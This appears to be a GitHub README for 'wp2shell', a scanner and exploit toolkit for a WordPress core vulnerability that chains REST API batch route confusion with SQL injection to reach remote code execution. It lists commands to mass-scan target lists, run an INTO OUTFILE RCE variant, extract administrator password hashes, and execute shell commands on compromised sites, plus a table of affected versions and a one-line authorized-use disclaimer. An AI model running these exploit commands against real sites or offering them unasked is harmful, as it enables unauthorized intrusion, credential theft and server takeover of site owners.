
wp2shell - WordPress CVE-2026-63030 Exploit & Scanner
⚡ Fast, Real-time Vulnerability Scanner & Exploit for CVE-2026-63030 (wp2shell)
wp2shell is a comprehensive toolkit for detecting and exploiting CVE-2026-63030, a critical vulnerability in WordPress that allows unauthenticated attackers to execute remote code via REST API batch route confusion combined with SQL injection.
CVE-2026-63030 (wp2shell) is a critical vulnerability discovered by Adam Kues (Assetnote / Searchlight Cyber) that affects WordPress core. It combines two bugs:
author__not_in SQL Injection# Clone repository
git clone https://github.com/Lutfifakee-Project/wp2shell.git
cd wp2shell
# No dependencies required - uses Python standard library only!
# Python 3.7+ required
Multi-threaded real-time scanner for large-scale vulnerability detection.
# Basic scan
python wp2shell_scanner.py -f list.txt -o results.txt
# Skip SQLi test (faster)
python wp2shell_scanner.py -f list.txt -o results.txt --no-sqli-test
# JSON output
python wp2shell_scanner.py -f list.txt -j
Demonstrates the INTO OUTFILE RCE variant (requires MySQL FILE privilege).
# Single target
python3 wp2shell_intooutfile.py https://target.com
# Multiple targets
python3 wp2shell_intooutfile.py -f list.txt -t 10
Portable, single-file version of the exploit with full functionality.
# Check vulnerability
python wp2shell-exploit.py check https://target.com
# Read users (extract password hashes)
python wp2shell-exploit.py read https://target.com --preset users
# Read fingerprint
python wp2shell-exploit.py read https://target.com --preset fingerprint
# Execute command (after cracking hash)
python wp2shell-exploit.py shell https://target.com --user admin --password "cracked" --cmd "id"
IMPORTANT: This tool is for educational and authorized testing purposes only.
| Version Range | Impact | Status |
|---|
| 6.9.0 - 6.9.4 | 🔴 RCE (Critical) | ❌ Vulnerable |
| 7.0.0 - 7.0.1 | 🔴 RCE (Critical) | ❌ Vulnerable |
| 6.8.0 - 6.8.5 | 🟡 SQLi (High) | ❌ Vulnerable |
| 6.9.5+ / 7.0.2+ | ✅ Patched | ✅ Safe |